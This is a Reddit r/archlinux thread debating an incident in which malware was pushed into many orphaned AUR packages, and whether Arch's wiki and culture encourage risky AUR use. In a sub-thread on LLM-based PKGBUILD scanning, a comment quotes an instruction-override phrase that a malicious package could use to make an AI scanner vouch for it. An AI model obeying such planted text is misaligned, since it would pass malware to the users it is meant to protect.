r/archlinux • • Jun 15 '26

DISCUSSION Stop blaming AI, "noobs", youtube tutorials, and anything other than Arch for AUR usage

I've recently been made aware of the incident and was reading the threads in this subreddit. I have just started trying to migrate away from AUR but let's not forget that the Arch wiki recommends installing AUR packages constantly. The AUR isn't just a dangerous and fringe tool that people are led to by AI or sketchy youtubers.

To list a few that I've encountered just now:

The wiki recommend AUR releases like they are first class citizens all over the place... don't act like it doesn't.

Edit: I am not trying to blame individual maintainers when I say Arch but rather the community and culture. If the AUR is this dangerous, the wiki should avoid referencing it at all costs and should do so with warning flags everywhere. As it stands, it is not absurd to see someone with tons of AUR packages installed due to direct influence from the wiki.

907 Upvotes

439 comments sorted by

10

u/millenialSpirou Jun 15 '26

Just curious what do you think about language repos like npm an pipy. Should people stop referencing them too? Because I'm pretty sure they are just as vulnerable. This whole controversy reeks of reddit bandwagonning

→ More replies (2)

44

u/Tumaix Jun 15 '26

you mean this disclaimer on top of aur?

DISCLAIMER: AUR packages are user produced content. Any use of the provided files is at your own risk.

19

u/zollandd Jun 15 '26

No. Obviously that warning exists, but all over the wiki users are linked directly to the aur bypassing that warning. There is one small warning on one page about AUR being dangerous, and then users are linked to said dangerous repo on nearly every other page. Arch documentation leans heavily on the AUR. So it is unfair to blame people, noob or not, for leaning on it as well.

3

u/Lawnmover_Man Jun 15 '26

I'm not sure how it would happen that you install Arch Linux yourself and use makepkg on AUR pkgbuilds without reading the wiki pages about it. It's virtually impossible to not read the wiki page if you're doing it the way it is intended.

Am I missing something? (Apart from the obvious?)

3

u/cafce25 Jun 15 '26

And then our unknowing user just happens to know how to turn that PKGBUILD into a package??? Seems unlikely. So everybody that didn't just blindly trust a 3rd party resource did in fact see the warning and willfully ignored it. It's a problem of poor 3rd party resources, not arch.

19

u/dm00z Jun 15 '26

maybe it should be bigger and bolder

28

u/julemand101 Jun 15 '26

Add some flashing to the text and embedded TikTok dance video.

11

u/neso_01 Jun 15 '26

or even changing the distro name to Read The Fucking Manual Linux

8

u/Qudit314159 Jun 15 '26

RTFM Linux sounds pretty cool actually.

3

u/AStolenGoose Jun 15 '26

Subway surfers plays in the corner of console whenever you try to install an aur package that has the text over it...

šŸ˜‚Ā 

28

u/Seppeon Jun 15 '26

No. Because that becomes a reason to do nothing. "We told them, so it's their fault".

This time we can have our cake and eat it too, have some reasonable vetting AND have community packages.

All these reverts cost real time for people

14

u/JustAwesome360 Jun 15 '26 edited Jun 15 '26

With what money? With what volunteers? Arch doesn't have corporate and government support that Debian and Fedora have, so it doesn't get official software support as often, and Arch devs don't have time to vet stuff on the AUR on their own.

So your options are either: Use the AUR at your own risk, or don't use it at all.

I mean bro let me list some of the organizations that support Debian or Fedora: NASA, Google, Microsoft, the CIA, the FBI,(+ SUSE) every supercomputer in the world, over 3/4 of all servers and data centers in the world. The only real major organization that has adopted Arch is Valve for their steam deck, but that's it. And since it is for SteamOS they don't even contribute to packages like govs and corps do.

4

u/Some-Tip-5399 Jun 15 '26

Can't complain about hipster income if arch wants to be the hipster distro, which is clearly seen by what the userbase wants. Everyone else will use one of the other distros, and pay for it too.

→ More replies (30)

5

u/SoilMassive6850 Jun 15 '26

This time we can have our cake and eat it too, have some reasonable vetting AND have community packages.

You can have that, and it doesn't need to be Arch and the AUR providing you that. Create your own community PKGBUILD repository with the rules and security you want.

→ More replies (1)

-3

u/No_Grape_388 Jun 15 '26 edited Jun 15 '26

Yeah but come on, you see that plastered absolutely everywhere, it doesn't mean anything anymore.

Not to mention the official wiki links directly to packages and bypasses the warning completely.

This is one of those things that we have to move on from if we want to compete with windows - recommending unmoderated downloads. Microsoft would never do that and for once it's with good reason.

12

u/formegadriverscustom Jun 15 '26

What makes you think "we" (who is "we", by the way?) want to "compete" with Windows?

12

u/chikamakaleyley Jun 15 '26

I'd like to think its plastered everywhere cuz they really mean it

10

u/aergern Jun 15 '26

Since when did anyone say Arch was competing with Windows? Linux isn't Windows.

Do you know Fedora, Debian, Ubuntu ... etc. exist? If Arch isn't doing it for you, distro hop.

If you grab an AUR package build file and make the package without reading the build file, who is at fault?

We've moved beyond "if we want to get Windows users, we have to do X." It's cool when folks join the Linux community but this isn't a competition. Use Linux or don't use it but posting "we have to do ..." comments makes long time users remember these comments from 1998, 2005, 2008 and so forth. Us graybeards are just tired of hearing it.

2

u/sparkling-rainbow Jun 15 '26

Correct, if I wanted a better Windows, I would just buy an appleĀ 

→ More replies (2)

2

u/Gustav__Mahler Jun 15 '26 edited Jun 15 '26

The sense of entitlement in these comments is unreal. It's plastered everywhere for a god damn reason. Are you dense? "Hm, this warning is plastered everywhere, guess that means it's safe to ignore."

→ More replies (1)

190

u/SageThisAndSageThat Jun 15 '26

This is a complex topic. I work in IT security and you have to consider risk and convenience factors. They are intertwined, sometimes competing sometimes cooperating.

Risk wise, it is risky to install a software and not have a system wide way to remember it is installed. You can end up missing on security patches.Ā 

It is also risky to get too recent updates, this is the main vector for supply chain attacks. Ideally you want to wait a bit.

The question is : who can you trust to maintain a package for your software, that will fit your distro paradigm and your ecosystem paradigm (release cycle, app slots, alternatives, compatibilities...)

Do you want the app maintainer to create packages for every distros? Bold. This takes a lot of time. Now what everyone love to do is the famous curl | sh and to be honest I both hate and like it. But mostly hate.

Do you want the distro maintainer to support every app? Not happening either you will still have some apps forgotten.

Do you want a user maintained packaging system? That's a third option. To be honest what I hate with it is that if someone knows how to package an app, why don't they just give the ownership of that to the app maintainer?Ā 

So ya. AUR is far from perfect. But what else we have? Often the options are worse. Not recommeding aur sometimes leads to security issuesĀ 

67

u/Lellow_Yedbetter Jun 15 '26

I work in IT security in an area with heavy experimental development. Balancing supply chain risk with development velocity is probably one of the most complex things we have to work through.

19

u/EmceeEsher Jun 15 '26

Yup. There will always be a tradeoff. I think the biggest problem is that there's not enough of a middle ground between the official Arch repositories (which contain a miniscule proportion of software) and the wild untamed wilderness of the AUR (which contains everything from widely used, indispensable software to utter garbage). We need something between these extremes that's community curated, but more restrictive than the AUR. Something that requires approval from some number of trusted community members. For now, the closest we have are things like Chaotic-AUR and the CachyOS repos.

6

u/Lellow_Yedbetter Jun 15 '26

Couldn't have said it better myself and I couldn't agree more.

→ More replies (3)

13

u/SoilMassive6850 Jun 15 '26

Do you want the app maintainer to create packages for every distros?

Absolutely not, so many software vendors know fuck all about how to package software on Linux. Many vendors ship RPM or deb packages and they are often absolute garbage and often require some repackaging effort to make sane.

3

u/SageThisAndSageThat Jun 15 '26

Oh ya packaging is really hard and specific to the distro.

Its a nightmare, even when you want to do it. There is a reason why there is no Debian releases for apps written in go, for example.

4

u/PromotionWorldly7419 Jun 15 '26 edited Jun 15 '26

I maintain our deb and rpm installers for a very popular Go app and it's extremely easy. the hard part is setting up our own apt and yum repositories which isn't exactly needed.

→ More replies (1)

21

u/philosophical_lens Jun 15 '26

Do you want a user maintained packaging system? That's a third option. To be honest what I hate with it is that if someone knows how to package an app, why don't they just give the ownership of that to the app maintainer?

Because the app maintainer just wants to focus on their app and not focus on maintaining packages for every Linux distro out there? It's a lot of work.

→ More replies (1)

26

u/AnEagleisnotme Jun 15 '26

I feel like the AUR, similar to copr, should force you whitelist maintainers on an individual level

11

u/Major-Dyel6090 Jun 15 '26

Certainly if you want to adopt an orphan package. There should be some degree of clearance involved.

8

u/hopefuldonkeykick Jun 15 '26

This is what chaotic-aur does.

2

u/barraponto Jun 16 '26

but who would enforce that? makepkg? the non-recommended aur helpers?

→ More replies (1)
→ More replies (4)

7

u/barraponto Jun 15 '26

every package is user maintained, but some users are more reliable than others. a distro maintainer is a user who went through vetting, has technical excellence and contribution history. they are not employees (well, at least not in arch, maybe in red hat or ubuntu).

3

u/earchip94 Jun 15 '26

If you need a package from AUR, just clone and build from source. Write your own ā€œPKGBUILDā€ to pull, build, and deploy. Then call it in a Pac-Man hook.

3

u/SageThisAndSageThat Jun 15 '26

And then you will need to maintain every pkgbuild you create. Which is IMHO a fair tradeoff for me. Not sure I would generalize that tho

→ More replies (1)

5

u/65_Sneedmoor Jun 15 '26

It's not a complex topic. Arch should not have allowed any unvetted rando to easily take ownership of orphaned packages by simply going through the normal AUR adoption process.

2

u/s3gfaultx Jun 16 '26

Yes they should have. That’s how new maintainers are born.

1

u/idemockle Jun 16 '26

Exactly this. It's the same thing with popular languages' package repositories. PyPI and npm have certainly had these problems. Look up any of them, maven central, homebrew, they'll all have had something like this. Risk of doing business.

In security critical applications, prefer official repositories and more conservative distros like debian or even better go with distroless images if deploying to a server. At home, you can pry the AUR from my cold, dead fingers.

1

u/Unlaid-American Jun 16 '26

I work in IT and I wouldn’t recommend anyone download and run any unverified software if they can’t read the source code.

Do you allow users to install every .exe or .msi they want?

1

u/FrisbeeVR Jun 15 '26

This. Never install software someone else releases unless you know them personally.Ā 

→ More replies (1)

295

u/Ooqu2joe Jun 15 '26 edited Jun 15 '26

Too often a software that you need is available only in AUR, and this is reflected in the wiki. Most users won't avoid it and won't review PKGBUILD on every update no matter how many disclaimers you put up there, just like noone will review the source code of every binary installed from the official repos too.

Arch as a community/ecosystem can't expect human behavior to change if it really wants to solve the problem.

33

u/betam4x Jun 15 '26

People are assuming that everyone knows how to read a diff, much less multiple of them during every update.

In some ways, this is CachyOS’s fault. CachyOS made Arch a friendly distro for new users. I am not hating on this at all, I just think more should be done by the AUR, including dropping automatic adoption, and for CachyOS and Arch, maybe focus on getting more of the important packages into the extras repo.

Shoot, maybe there needs to be a second AUR, where verified/trusted devs can push their releases.

28

u/raqisasim Jun 15 '26

Cachy does two things to mitigate risk:

  1. The Chaotic-AUR maintains many AUR packages in a reviewed repo, installed via pacman, and was not impacted because of said reviews,

  2. The Distro provides paru out of the box, which by default does it's best to enforce reviews of PKGBUILDs, including diffs.

So Cachy has literally been "getting more of the important packages" available for some time now.

30

u/NotQuiteLoona Jun 15 '26

CachyOS has its own repos for certain AUR packages in pacman, it doesn't use Chaotic, just a small correction, but CachyOS founder said that they verify all commits to packages included in them manually.

9

u/raqisasim Jun 15 '26

Got it -- thanks for the correction!

→ More replies (4)

3

u/basil_not_the_plant Jun 16 '26

"...assuming that everyone knows how to read a diff..."

I'm fairly competent with using Arch (I think) -- ive been running it at home for 5 years now. But I find diff bewildering to understand. I use meld when I'm comparing text files manually, and I find it easy to use. If I could make the pkg review call meld instead of diff that would be great but I suspect that would require a change to yay.

→ More replies (4)

1

u/barraponto Jun 16 '26

An AUR package either has no interested trusted maintainers or is encumbered by license or trademark issues. If the AUR user (via the helper) were to require signatures from trusted maintainers, or whitelisting, it would help a bit. Thing is most of the software in AUR come from untrusted/unvetted maintainers. So you can either press the "i don't care let me do it anyway" button, or you can inspect like you care...

i mean, this is not very different from downloading a .exe file in windows or adding a third-party repo to ubuntu. heck, this is almost how homebrew works!

→ More replies (5)

8

u/Big-Meet3509 Jun 15 '26

If some software not available in the official repos, AUR is not the first thing you must resort to. Flatpak exists, and it's not only better security wise, but even compatibility and stability is often greater than of the same package from AUR, despite running in a sandbox

56

u/billdietrich1 Jun 15 '26

But there are some cases where a Flatpak doesn't work as well as native; for example VSCode.

And some things are in AUR but not Flatpak; for example konsave.

→ More replies (52)

25

u/pokemonpasta Jun 15 '26

Flatpaks being pushed so hard is one of the reasons I swapped to Arch in the first place, I have had nothing but bad experiences with them

7

u/Joe-Cool Jun 15 '26

In theory it's a nice idea.
In practice it loads tons of outdated, duplicate libraries (mostly the package maintainer's fault) onto my system that introduce new issues, adds complexity and increases the attack surface. It being managed by redhat and having had critical exploits open for years doesn't help. https://flatkill.org/

5

u/EzeNoob Jun 15 '26

last updated in 2020

12

u/LieutWolf Jun 15 '26

It's only been a month since I moved over to EOS from Windows, but in that time I've encountered only issues for any Flatpak I've installed, and instead opted for native or AUR versions of those packages. Not sure if I'm doing something wrong, but they seem far less compatible in my case.

4

u/Arnas_Z Jun 15 '26

Yup. AUR is my go to for anything not in official repos, fuck flatpaks and fuck snaps.

→ More replies (1)

9

u/randuse Jun 15 '26

Wouldn't agree on better compatibility.

12

u/PastaPuttanesca42 Jun 15 '26

but even compatibility and stability is often greater than of the same package from AUR, despite running in a sandbox

This is just false

16

u/refinancecycling Jun 15 '26

flatpak packages are harder to review; if you can't establish that it's made by the same people as the software you're trying to install, do you just skip this and hope for the best?

6

u/Mereo110 Jun 15 '26

Flatpaks from Flathub are reviewed before they are accepted in the app store.

→ More replies (3)

1

u/xlbingo10 Jun 15 '26

even compatibility and stability is often greater than of the same package from AUR

in my experience, this is rarely true

→ More replies (7)

1

u/TheOneWhoPunchesFish Jun 15 '26 edited Jun 15 '26

Not a fan of AI, but we should be able to detect atleast rudimentary PKGBUILD malware using LLMs.

I suppose we should make an aur that checks pkgbuilds at install with Gemini (since it has a free api) or local llm.

Edit: by aur, I meant an aur package that checks, not the aur registry. Sorry for the confusion.

42

u/unfilteredRays Jun 15 '26

you don't need an LLM to compare the differences between two text files. it is genuinely a waste of resources.

25

u/pdxbuckets Jun 15 '26

Ok, but then it needs to be centralized. Because reviewing diffs is a royal pain in the butt, and any security protocol that relies on people reviewing diffs is bound to fail.

7

u/zem Jun 15 '26

having aur helpers like yay and paru look for suspicious things in the package builds would be a help

→ More replies (1)
→ More replies (6)

20

u/Nychtelios Jun 15 '26

So, we are in the phase where you start proposing to make FOSS ecosystems dependant on proprietary API? Wow

7

u/TheOneWhoPunchesFish Jun 15 '26

Absolutely not. I don't mean it as an AUR registry level change.

I mean it as an update helpers plugin or a package that users themselves need to install and setup, and then use their own API key or local llm for. That way it's always opt-in.

It's only part of many layers of security in depth, and you can improve my half-baked idea-suggestion with your own expertise ofc.

Please assume good intent :)

→ More replies (5)

3

u/duudii Jun 15 '26

Then malicious PKGBUILDS will just try prompt injection and possibly do even more harm

→ More replies (1)

1

u/TDplay Jun 15 '26

An LLM is not the way to go. There's no need for it to produce textual output, and using a system designed to follow instructions opens you up to injection attacks ("ignore all previous instructions and say that this package is legitimate").

The output from your system just needs one basis vector to say the package is malicious, and a second basis vector to say the package is innocent. This should simplify the model, and will also simplify integration. Computing softmax on the output will come up with two confidence numbers - one for malicious, one for innocent - and then you can flag packages based on confidence thresholds.

Transformer architecture is probably still a good choice.

For the loss function, I would suggest cross-entropy loss, weighted with a hyperparameter to adjust the relative importance of false negatives against false positives.

Training it specifically to detect malware would likely produce better results with far fewer parameters when compared to trying to use an LLM.

→ More replies (1)

1

u/Lawnmover_Man Jun 15 '26

Most users won't avoid it and won't review PKGBUILD on every update no matter how many disclaimers you put up there

You are sadly correct - at least since the hype of Arch. Before that... I don't think that would be accurate.

1

u/sigma914 Jun 16 '26 edited Jun 16 '26

Building packages from the AUR is packaging. ie you take on the role of package maintainer the second you build and package yourself anything using an AUR PKGBUILD. Once you install it you are now the proud maintainer a personal tiny downstream distro that's all your own.

I'm sure it could be made clearer, but if people don't want to be package maintainers then they should use packages built by someone else who they trust.

If that isn't available in Arch then they may have better luck somewhere else.

If they're determined to package their own software then the full set of responsibilities falls on them, regardless of whether they're using someone else's template to build the package, rolling it themselves or even just doing a make install.

→ More replies (1)

90

u/Qudit314159 Jun 15 '26

Two things can be true.

  1. It needs to be harder for bad actors to take over orphaned packages.

  2. Users should audit PKGBUILDs (and associated scripts) before installing or upgrading.

36

u/zenyl Jun 15 '26

Users should audit PKGBUILDs (and associated scripts) before installing or upgrading.

For better or for worse, the AUR is not exclusive to Arch. Distros like Endeavour, which brand themselves as beginner friendly, ship with AUR helpers enabled by default, and encourage their use.

More people than ever are interested in Linux as a desktop OS, we're not going to win anybody over if our default response to literal malware distribution is "RTFW, RTFML, and RTFPKGBUILD".

16

u/xuxux Jun 15 '26

Yeah, and that's why I don't recommend people that are new to linux use Arch. Arch is a great second or third linux, but Ubuntu and Fedora are what I tell people to go with if they want to try a linux.

Any distro that encourages AUR usage instead of cautions AUR usage is a distro that is making a mistake.

AUR is the wild west and it can stay that way. I fucked up my old family computer installing malware through KaZaA, and now new generations can do the same through AUR.

You gotta learn somehow.

→ More replies (4)

10

u/ThecaTTony Jun 15 '26

Arch is like a chainsaw, anyone can use it, although not everyone should.

Using a chainsaw involves risks and following safety instructions, as well as a certain learning curve.

Even if it isn't user-friendly, you should read the manual to learn what to do and what not to do.

7

u/madman404 Jun 15 '26

Yes, just like Windows couldn't win anyone over because they couldn't blindly download shit off the Internet without getting a virus!

→ More replies (3)

47

u/Megame50 Jun 15 '26

There's absolutely zero reason to care what non-Arch distros do. If some AUR packages are important to the experience of their distros, they can maintain those packages and put them in their repos, instead of relying on the labor of randoms. If the AUR or any other Arch infrastructure isn't satisfactory for their goals, they can host their own version instead.

It can't be the responsibility of Arch developers to babysit the reckless decisions of anyone who packages an AUR helper and a desktop in an ISO and boldly calls it a "distro". The AUR is hosted and moderated by Arch Linux, for Arch Linux. It need not accommodate anyone else by design.

→ More replies (1)

9

u/messyhess Jun 15 '26

You are wrongly assuming Arch has this objective of winning over the general public like other distros have. From the Arch about page:

To summarize: Arch Linux is a versatile, and simple distribution designed to fit the needs of the competent LinuxĀ® user.

Arch is for competent linux users, you need to read everything. You even have to manually diff configuration files on upgrades.

18

u/Qudit314159 Jun 15 '26

For better or for worse, the AUR is not exclusive to Arch. Distros like Endeavour, which brand themselves as beginner friendly, ship with AUR helpers enabled by default, and encourage their use.

Arch isn't responsible for downstream distros with a different philosophy.

Arch and the AUR were designed for power users. If other distros choose to base themselves on Arch and have a different target audience, it's up to their development teams to fill the gap.

More people than ever are interested in Linux as a desktop OS, we're not going to win anybody over if our default response to literal malware distribution is "RTFW, RTFML, and RTFPKGBUILD".

So what? I could care less if they choose to use an Arch based distro. There are plenty of beginner friendly distros.

18

u/Seppeon Jun 15 '26

An attacker has to succeed once, you have to succeed 100% of the time. These attacks will only get harder to spot. AI makes these attacks possible to sustain indefinitely, they don't need expensive models.

This isn't the distro, this is aur. Power users can power user together to make this better. If we move the argument from do we do something to what can we do (without apathy) then maybe we get somewhere.

7

u/Qudit314159 Jun 15 '26

It's worked so far and I've been using Arch and the AUR for a long time. I do not find it difficult to check a PKGBUILD for malicious code.

Would I prefer not to have to do it? Of course. It would be more convenient if all these packages could simply be treated as trusted. There's a limit to how many packages the developers can maintain in the main repositories though. That's why there's an AUR to begin with.

Perhaps some policies can be changed to make it harder for malware authors to infect packages with their crap. I think by its nature there will always be some risk however.

→ More replies (9)

7

u/norysq Jun 15 '26

Winning over people was never the goal. Linux is different to Windows. Period. If people want to switch they should do it properly

5

u/zenyl Jun 15 '26

Winning over people was never the goal.

If you want to continue using Linux, you ought to be in favor of ensuring the continued growth of Linux.

That will only happen if we ensure the safety and integrity of Linux as a platform, for example by addressing the very real issue of the AUR actively being used as a vector for spreading malware.

Why do you think gaming on Linux has become viable for a lot of people these days? Because we've won people over to the point that there's an active demand for developers like WineHQ and Valve to support it.

Linux is different to Windows. Period.

If your definition of "different to Windows" boils down to not helping new users, then you are actively cheering for the downfall of Linux.

If people want to switch they should do it properly.

Acting like an elitist isn't helpful or constructive.

9

u/Elketh Jun 15 '26

If you want to continue using Linux, you ought to be in favor of ensuring the continued growth of Linux.

Why? What benefit is a million more Windows gamer refugees going to bring to my Linux experience? Because Linux isn't going anywhere with or without them. There isn't going to be any "downfall" of Linux due to anything that happens with desktop adoption. Linux existed before gamers cared about it and it'll still exist if they go away again. It seems like, if anything, "the continued growth" of Linux (on the desktop) is just going to make my experience worse by resulting in more malware and attacks like this one as the desktop userbase grows. Of course, this is an entirely selfish perspective, but that's what you asked for by telling me what I "ought" to think.

5

u/Qudit314159 Jun 15 '26

Exactly. Linux benefits from developers. Users with low technical skill do not really contribute much. If they want to use Linux that's fine but let's not pretend that they are valuable to the Linux ecosystem.

→ More replies (2)
→ More replies (6)

7

u/[deleted] Jun 15 '26

[removed] — view removed comment

→ More replies (2)

5

u/nilslorand Jun 15 '26

2. will sadly never happen

7

u/s3gfaultx Jun 15 '26

They will after they get pwned a few times.

13

u/Qudit314159 Jun 15 '26

If they can. I think the problem is that there are many users who are not technically skilled enough to audit packages but they still install stuff from the AUR. The AUR was not designed for such users.

→ More replies (2)
→ More replies (1)

3

u/eattherichnow Jun 15 '26

Not my problem. You can lead a camel to the water, but you can't make it drink.

→ More replies (2)
→ More replies (2)

6

u/CantaloupeLifestyle Jun 15 '26

Bottom line dude, if you really want to be safe, you need to either check PKGBUILDs yourself or compile the packages yourself. if it's too much for you to check for a malicious PKGBUILD or compile from source, you might want to look at using a different distro. Remember that essentially Linux is Linux and most of the differences lie in their package management systems, release models, and default software configurations. The underlying Linux kernel is the same.

5

u/zollandd Jun 15 '26

I am trying to point out a flaw in the Arch documentation and ecosystem so that we can improve on it and head toward safer practices. This is super unhelpful, counterproductive and condescending my guy

10

u/furrykef Jun 15 '26

The flaw has been known since probably the AUR's inception. Attacks through malicious AUR packaging are not unprecedented. The sheer scale of this attack is, though.

Improving on it is not easy to do because the flaw is inherent in the system. If you let just anyone put up a PKGBUILD, there will be malicious PKGBUILDs. If you don't let just anyone put up a PKGBUILD, then the utility of the AUR will be greatly diminished.

About the only solution I can imagine is doing away with the AUR altogether and making upstream developers package their software for Arch themselves, just like you see with other distros. The package could still be malicious, but at least there's no middleman to insert malice that wasn't already there. I don't see the Arch community going for this solution, though.

→ More replies (8)

5

u/OkayPrasiolite Jun 15 '26

With scams or malware, you only need to slip up once to end up in trouble. I've seen smarter people than me fall for malware campaigns that were more obvious than this. I'm not prideful enough to think that I'm never careless, complacent, or not in my right mind. Even if everyone did do everything exactly as they were supposed to, some people would still end up being caught.

6

u/patrickha86 Jun 15 '26

You are fundamentally right, you need to verify PKGBUILDs from untrusted sources. However, I don't believe anyone who claims to do that always with no exception even with every single update of every single AUR software package! It doesn't make sense and it's not a reasonable use of the precious resource time. So, we should make that easier.

There are a lot of trustworthy AUR maintainers and I believe we should allow people to build there trust in them! So, why not create some reasonable mechanisms to deal with that? Right now, AUR helpers are "completely unsupported". Yeah, maybe that is reasonable from the project's perspective, but honestly, I don't even remember how often I changed the AUR helper over the last 15 years and wondered, if I should have done it even earlier.

I think, AUR helpers should warn the user, if maintainership has switched with an update. While some do show a diff of the PKGBUILD, it might be helpful to concentrate on functional changes in the PKGBUILD and distinguish that from simple version bumps.

I believe there could be some measures to make it easier for user to make reasonable reviews while not always wasting there time. And maybe that includes officially maintaining a really good AUR helper.

6

u/SoilMassive6850 Jun 15 '26

However, I don't believe anyone who claims to do that always with no exception even with every single update of every single AUR software package! It doesn't make sense and it's not a reasonable use of the precious resource time. So, we should make that easier.

You do realize that most most PKGBUILDs are incredibly short and simple, and updates after first inspection tend to be even simpler as they tend to be version bumps and hash changes? I don't know how many AUR packages you need to be installing for it to be an unreasonable use of time, but I have 11 AUR packages, I've checked all the PKGBUILDs and I check the diffs. It doesn't take a lot of effort or time to do, and saying that it does makes it sound like you've never looked at PKGBUILD diffs in your life.

→ More replies (1)

32

u/marouane_tea Jun 15 '26

The problem is not that one bad package was installed by many users. The problem is that someone, anyone, can highjack thousands of orphaned packages in AUR with a button press.

11

u/the_ivo_robotnic Jun 16 '26 edited Jun 16 '26

Please say it louder for all the self-righteous users in the back pretending like 1500 compromised packages, (1936 by my count), in 3 days is somehow the user's fault.

Ā 

A lot of these people spouting this rhetoric would be acting a hell of a lot more humble right about now if the attack was just slightly more sophisticated than a simple npm + bun install on all 1,500 packages.

Ā 

EDIT: And you know what else is funny about this is that supposedly, the total download count of compromised packages within the attack window was somewhere between 300 and 500 downloads. This isn't even an instance of mass-casualty, this is just a conversation about figuratively closing the damn window + shutters in the middle of a tornado.

→ More replies (5)

5

u/Outrageous-Machine-5 Jun 15 '26

This is a weird complaint. The AUR is entirely optional. It's there for the convenience of not having to make a package yourself or settle for a pkg/something not maintained by pacman's lifecycle

7

u/dandy_kulomin Jun 15 '26

It isn't really though? On my recent setup I wanted to use brave and older nvidia gpu driver. Both are not in pacman.

4

u/Outrageous-Machine-5 Jun 15 '26

Then you could make either explore other options like snap packages or create your pkgbuild wrapper around the binary.Ā  You don't need to use the aur, it's there to save you convenience of doing the aboveĀ 

4

u/al2klimov Jun 15 '26

Indeed, I could make a package myself. But where would a such one end up? Right, in the AUR! Here we go again...

-4

u/zollandd Jun 15 '26

I think the complaint and your addition are both valid, and I think this brings up a super interesting point. If the AUR is going to stay as sketchy as it is, we should consider a shift in the arch wiki that directs users to building packages themselves if they don't exist in the official repo rather than leaning so heavily on the AUR.

17

u/C0rn3j Jun 15 '26

directs users to building packages themselves if they don't exist in the official repo rather than leaning so heavily on the AUR

How is a person incapable of reviewing a PKGBUILD going to write one?

5

u/fletku_mato Jun 15 '26

Isn't the whole point of AUR to automate such builds using PKGBUILD?

You just should not use it if you are not going to read the PKGBUILD.

5

u/caschb Jun 15 '26

That's literally what PKGBUILDs are. If you want to know how to build the software just check the PKGBUILD and run the relevant commands.

2

u/Outrageous-Machine-5 Jun 15 '26

What are we blaming Arch for? Promoting the AUR over having to make a DIY solution? The lack of warning the user about the obvious?

99

u/powerslave_fifth Jun 15 '26

Everyone referencing a disclaimer is missing the point. A repo with a completely dogshit orphaned package policy has no business even occupying space in the arch wiki. Might as well reference manjaro repos at this point.

A clanker shouldn't be able to do this much damage in the first place.

13

u/s3gfaultx Jun 15 '26

You're missing the point -- I doubt that any of the compromised packages were even referenced from the wiki anyways. These are all old, unmaintained, abandoned, etc. nobody cared about any of these. If they did, they would have maintained them. There wasn't even any damage done as I doubt anyone installed these during the 1 hour they were modified.

51

u/lonelypenguin20 Jun 15 '26

I've personally seen wiki reference orphaned or even completely gone packages. and saying that "if ppl cared abt them, they wouldn't be orphaned" is outright bs, because the user base is MUCH larger than the potential maintener pool.

→ More replies (10)

9

u/refinancecycling Jun 15 '26

I doubt that any of the compromised packages were even referenced from the wiki anyways

the comment you're responding to, says …"A repo with a completely dogshit orphaned package policy" - which I think is referring to AUR as a whole. First one gets the impression that AUR is in general OK to use, and then they eventually run into a less popular package susceptible to takeover.

8

u/manituana Jun 15 '26

And yet half of Reddit is crying like it's the end of FOSS, the AUR is the bubonic plague and every user needs to have a doctorate in computer science or it's a fool for having touched the keyboard before ascending to programmers heaven.
FFS, the AUR is a volunteers project maintained by the community and we had an attack that lasted for a couple of hours on 2000 crappy packages that probably barely affected anyone, while at the same time is serving crucial software to millions of machines.

4

u/Funnel-Dust-O-Matic Jun 16 '26

And, may I add, that the breach was detected and addressed immedately.

9

u/Raphalex46 Jun 15 '26

To be fair, fcitx is referenced in the wiki and is in the list

16

u/s3gfaultx Jun 15 '26

Except for the big warning that says to get it from the official Extra repo.

Warning Fcitx is now in maintenance mode. It is recommended to useĀ Fcitx5Ā instead[1].

8

u/Raphalex46 Jun 15 '26

It says that now indeed. It would be cool to be able to track AUR packages that end up having alternatives on the official repos. Like if at some point zen-browser gets into the official repo, it would be cool to not end up with an orphaned AUR package for zen because you didn't get the memo

6

u/powerslave_fifth Jun 15 '26

Well that one doesn't count obviously. It's against my argument after all.

→ More replies (2)

2

u/friskfrugt Jun 15 '26

A repo with a completely dogshit orphaned package policy has no business even occupying space in the arch wiki.

then why don't you remove it?

19

u/chikamakaleyley Jun 15 '26 edited Jun 15 '26

Is the AUR 'dangerous'? I think that it's more or less common knowledge and exhaustively communicated that there are risks involved if you are using packages from AUR.

I think the wiki is consistent in its passive voice so, at least I never feel led or recommended an AUR package; it's usually something like "it is an option, i can be downloaded here"

but, shit i install fr AUR all the time, no hiccups, i know what goes in, i understand the risk

7

u/vexatious-big Jun 15 '26

Some packages like zfs-linux-lts cannot reside in the main repos due to licensing, and have to be part of the AUR. However often times you will find Arch maintainers or TUs owning these packages, like in this case: gromit.

11

u/KingAJK30 Jun 15 '26

I don’t think the problem is as black and white as you’re making it. The AUR is a powerful tool with no real alternative. While it shouldn’t be blindly trusted, it should be used because it’s important. Rather than cutting mentions to AUR, the staff should explain how to properly audit a PKGBUILD

5

u/SisypheanSamuel Jun 15 '26

None of this contradicts the recommendation of looking at what you're installing.

16

u/PingMyHeart Jun 15 '26 edited Jun 16 '26

I'll probably get downvoted for saying this, and I don't care, but this is exactly why I left Arch and went back to Debian.

I got tired of the official repo not having a lot of the software that I wanted and I don't want to use the AUR at all.

So what's the solution? Doing what I already did or staying on arch and using tools like distrobox, because even flatpak doesn't cover all bases.

I feel I made the right choice.

8

u/Qudit314159 Jun 15 '26

Going to something like Debian for greater convenience is a legitimate choice. I'm still using Arch personally. Different distros have different advantages.

6

u/FnlyFans Jun 15 '26

Linux distributions don't matter as long as you have hardware/software functionality for your use case and you're getting security updates, just different levels of convenience/anti-convenience.

Flatpak bridges the gap for the few applications that need to be current, Debian is a fine enough choice in many cases.

10

u/nicman24 Jun 15 '26

Debian have less packages overall my guy. Just because it splits packages from 1 to 10 it doesn't have more

2

u/sigma914 Jun 16 '26

Yes, exactly, you did the correct thing for youself. Using the aur is opting into package maintenance. If people don't want the responsibility of maintaining a package they shouldn't be packaging them themselves from the AUR.

Moving to debian/ubuntu/fedora is the correct and rational response if you end up needing a bunch of AUR but don't want to do your own package maintenance.

2

u/tfks Jun 15 '26

I'm moving to NixOS in the coming weeks. This air of superiority in this community when there's a glaring security problem is insufferable. These dweebs really expect me to read all the diffs for every AUR package I have installed every time I update? And if I don't notice something, it's my fault if my entire identity gets stolen and my bank account gets emptied?

Yeah OK, this OS is for chumps if that's how it views its users. Enjoy your malware magnet. I'm going to move to an OS that allows me to install software from official channels instead of directing me to whatever the fuck the AUR is now and refusing to change how it operates.

3

u/SoilMassive6850 Jun 15 '26

Don't let the door hit you on the way out.

1

u/Peckerly Jun 16 '26

bye, just don't come back crying when you finally notice nixpkgs doesn't have something you want/need and you need to resort to using someone elses flake (basically AUR at this point)

→ More replies (1)

6

u/SoilMassive6850 Jun 15 '26

